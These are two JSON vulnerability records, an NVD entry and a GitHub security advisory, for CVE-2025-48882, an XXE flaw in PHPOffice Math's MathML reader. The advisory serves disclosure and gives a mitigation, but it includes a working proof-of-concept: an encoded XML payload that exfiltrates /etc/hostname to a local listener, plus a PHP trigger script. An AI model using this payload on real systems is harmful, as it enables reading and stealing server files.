{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PHPOffice Math is a library that provides a set of classes to manipulate different formula file formats. Prior to version 0.3.0, loading XML data using the standard `libxml` extension and the `LIBXML_DTDLOAD` flag without additional filtration, leads to XXE. Version 0.3.0 fixes the vulnerability."
    },
    {
      "lang": "es",
      "value": "PHPOffice Math es una librer\u00eda que proporciona un conjunto de clases para manipular diferentes formatos de archivos de f\u00f3rmulas. Antes de la versi\u00f3n 0.3.0, cargar datos XML con la extensi\u00f3n est\u00e1ndar `libxml` y el indicador `LIBXML_DTDLOAD` sin filtrado adicional provocaba XXE. La versi\u00f3n 0.3.0 corrige esta vulnerabilidad."
    }
  ],
  "id": "CVE-2025-48882",
  "lastModified": "2025-06-02T17:32:17.397",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-05-30T20:15:43.527",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/Math/commit/fc31c8f57a7a81f962cbf389fd89f4d9d06fc99a"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/PHPOffice/Math/security/advisories/GHSA-42hm-pq2f-3r7m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-611"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/math"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-29T17:27:39Z",
    "nvd_published_at": "2025-05-30T20:15:43Z",
    "severity": "HIGH"
  },
  "details": "**Product:** Math\n**Version:** 0.2.0\n**CWE-ID:** CWE-611: Improper Restriction of XML External Entity Reference\n**CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n**CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n**Description:** An attacker can create a special XML file, during which it processed, external entities are loaded, and it\u2019s possible to read local server files.  \n**Impact:** Local server files reading\n**Vulnerable component:** The [`loadXML`](https://github.com/PHPOffice/Math/blob/c3ecbf35601e2a322bf2ddba48589d79ac827b92/src/Math/Reader/MathML.php#L38C9-L38C55) function with the unsafe [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, the [`MathML`](https://github.com/PHPOffice/Math/blob/master/src/Math/Reader/MathML.php) class\n**Exploitation conditions:** The vulnerability applies only to reading a file in the `MathML` format.\n**Mitigation:** If there is no option to refuse using the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, it\u2019s recommended to filter external entities through the implementation of the [`custom external entity loader function`](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php).\n**Researcher: Aleksandr Zhurnakov (Positive Technologies)**\n\n## Research\nZero-day vulnerability was discovered in the [Math](https://github.com/PHPOffice/Math) library in the detailed process of the XXE vulnerability research in PHP.\nLoading XML data, using the standard [`libxml`](https://www.php.net/manual/en/book.libxml.php) extension and the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag without additional filtration, leads to XXE.\n\nBelow are steps to reproduce the vulnerability.\n\n1. Preparation:\n\n- The payload was tested on the PHP versions \u003e= 8.1.\n- The [composer](https://getcomposer.org/) manager is used to install the latest version of the Math library.\n- PHP has to be configurated with [Zlib](https://www.php.net/manual/ru/book.zlib.php) support.\n- The necessary [requirements](https://github.com/PHPOffice/Math?tab=readme-ov-file#requirements) for the Math library must be installed.\n- The `netcat` utility is used for demonstration exfiltration.\n\n2. Make `math` directory and then moving into it.\n````\nmkdir math \u0026\u0026 cd math\n````\n\n3. Install the latest actual version of the library (Figure 1). \n```\ncomposer require phpoffice/math\n````\n_Figure 1. Installing the library_\n\u003cimg width=\"630\" alt=\"fig2\" src=\"https://github.com/user-attachments/assets/bb0c6781-4f5a-411c-970d-9402e652ad87\" /\u003e\n\n4. Create `poc.xml` file (Listing 1): \n\n_Listing 1. Creating `poc.xml`_\n```\nxml     \n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e     \u003c!DOCTYPE x SYSTEM \n\"php://filter/convert.base64-\ndecode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn\nBFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i\n6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7\nTAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ\nObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g\nDT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh\ny1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY\nud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b\nNvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW\nQgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg\nQdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo\nwqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU\nXv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny\nrHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8=\" \n[]\u003e\u003cfoo\u003e\u003c/foo\u003e\n```\n5. Create `math.php` file (Listing 2): \n\n*Listing 2. Creating `math.php`*\n````\n\u003c?php\n    require_once \"./vendor/autoload.php\";\n\n    $reader = new \\PhpOffice\\Math\\Reader\\MathML();\n    $reader-\u003eread(\n        file_get_contents(\u0027poc.xml\u0027)\n    );\n````\n6. The payload (see the step 4) is set to exfiltrate the `/etc/hostname` file through `http://127.0.0.1:9999/`, so the listening socket is launched at the `9999` port (Figure 2)\n\n_Figure 2. Launching the listening socket_\n\u003cimg width=\"550\" alt=\"fig2\" src=\"https://github.com/user-attachments/assets/6da5b966-70be-4e3e-9bde-c6baf4dfef34\" /\u003e\n\n7. Execute php-script via console: \n````\nphp math.php \n````\n\n6 characters from the `/etc/hostname` file will be exfiltrated to the `9999` port in base64 format (Figure 3). \n\n_Figure 3. Characters exfiltration_\n\u003cimg width=\"520\" alt=\"fig3\" src=\"https://github.com/user-attachments/assets/f0eae873-d156-442f-ab08-12dd94a8dbe9\" /\u003e\n\nDecode the received data from base64 removing the last `M` character (the payload feature) (Figure 4).\n\n*Figure 4. Data decoding*\n\u003cimg width=\"595\" alt=\"fig4\" src=\"https://github.com/user-attachments/assets/7a091a07-7856-41a0-b1bd-3d8009303ced\" /\u003e\n\n8. By changing the payload, the remaining file can be received. \n\n## Credits\nAleksandr Zhurnakov (Positive Technologies)",
  "id": "GHSA-42hm-pq2f-3r7m",
  "modified": "2025-05-30T21:42:11Z",
  "published": "2025-05-29T17:27:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/Math/security/advisories/GHSA-42hm-pq2f-3r7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/Math/commit/fc31c8f57a7a81f962cbf389fd89f4d9d06fc99a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/Math"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PHPOffice Math allows XXE when processing an XML file in the MathML format "
}